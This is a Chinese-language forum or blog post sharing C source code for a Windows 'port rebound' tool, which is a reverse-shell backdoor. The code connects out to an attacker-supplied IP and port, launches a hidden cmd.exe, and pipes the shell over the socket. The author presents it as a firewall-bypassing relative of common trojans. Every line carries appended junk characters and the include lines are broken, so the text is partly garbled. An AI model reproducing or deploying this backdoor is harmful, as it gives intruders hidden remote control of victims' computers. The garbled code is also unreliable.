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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Fz11/sKz  
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/* ============================== 1 A%0y)]  
Rebound port in Windows NT lT^/ 8Z<g  
By wind,2006/7 -.xiq0  
===============================*/ Mc,3j~i  
#include ?_ 476A  
#include ci 4K Nv;  
~aPe?{yIUa  
#pragma comment(lib,"wsock32.lib") f8e :J#jbS  
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void OutputShell(); %>'Zy6C<j  
SOCKET sClient; _=Z?5{7S >  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `6y=ky.,  
[[$dPa9  
void main(int argc,char **argv) =xw+cs1,x  
{ ] M`%@ps  
WSADATA stWsaData; ylm # Xa  
int nRet; 3 C{A  
SOCKADDR_IN stSaiClient,stSaiServer; PI\C*_.  
gFpub_  
if(argc != 3) "?%2`*\  
{ TB}6iIe  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'uC=xG.*}  
return; W{m_yEOf  
} mF:Pplf<  
=U7P\s w2  
WSAStartup(MAKEWORD(2,2),&stWsaData); %u}#|+8}  
-*A1[Z ?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -w"$[XP  
}1 ,\ *)5  
stSaiClient.sin_family = AF_INET; ]sTbEw.[  
stSaiClient.sin_port = htons(0); s<>d& W 0=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sZx`u+  
A^ofs*"Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {8I,uQO  
{ S=}1k,I  
printf("Bind Socket Failed!\n"); _?> x{![  
return;  8 X Qo  
} {o SdVRI  
p$=Z0p4%LL  
stSaiServer.sin_family = AF_INET; KFg q3snH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $J8g)cS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / 3eGt7x#  
GQ(*k)'a  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \sz*M B  
{ ]"/SU6#4:  
printf("Connect Error!"); E+ctiVL  
return; 8eVy*h2:=  
} gky+.EP.  
OutputShell(); A+|bJ>q  
} J#W*,%8O  
WeJ=]7T'L  
void OutputShell() IwXWtVL  
{ kXV;J$1  
char szBuff[1024]; G2<$to~{  
SECURITY_ATTRIBUTES stSecurityAttributes; a,36FF~&  
OSVERSIONINFO stOsversionInfo; IaZmN.k*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L{&>,ww  
STARTUPINFO stStartupInfo; V0NLwl O  
char *szShell; ~x7CI  
PROCESS_INFORMATION stProcessInformation; ku4Gc6f#gG  
unsigned long lBytesRead; ebn3r:IU-  
E{0e5.{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q r\eT}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DIABR%0  
stSecurityAttributes.lpSecurityDescriptor = 0; &gJ1*"$9  
stSecurityAttributes.bInheritHandle = TRUE; B(WmJ6e  
Wv|CJN;4  
LC4VlfU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r?itd)WC<X  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o}DR p4;Ka  
_dELVs7OL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xax[# Vl4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3-btaG'P  
stStartupInfo.wShowWindow = SW_HIDE; +`bnQn]x+  
stStartupInfo.hStdInput = hReadPipe; uh2 F r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^&D5J\][  
_&~l,%)&  
GetVersionEx(&stOsversionInfo); &?@[bD'T  
#|K{txC   
switch(stOsversionInfo.dwPlatformId) e^em^1H( %  
{ X::@2{-@y  
case 1: \=D+7'3  
szShell = "command.com"; +oh|r'~  
break; ^KdT,^6T  
default: X!:J1'FE  
szShell = "cmd.exe"; ~5&B#Sm[G  
break; & #JYh=#  
} &@,lF{KTL  
@  R[K8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O&MH5^I  
5kGQf  
send(sClient,szMsg,77,0); b}fC' h  
while(1) J6[}o4Z  
{ K\wu9z8M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zJP jsD]  
if(lBytesRead) -.r"|\1X  
{ [ :)F-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZR -RzT1  
send(sClient,szBuff,lBytesRead,0); ^, YTQ.O  
} i6P}MtC1  
else ZBR^$?nj  
{ Ux1j+}y  
lBytesRead=recv(sClient,szBuff,1024,0);  6/#+#T  
if(lBytesRead<=0) break; [0qswsV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *+zFsu4l  
} @Co6$<  
} 7TEpjSuF  
@`)>- k  
return; gm pY[  
}
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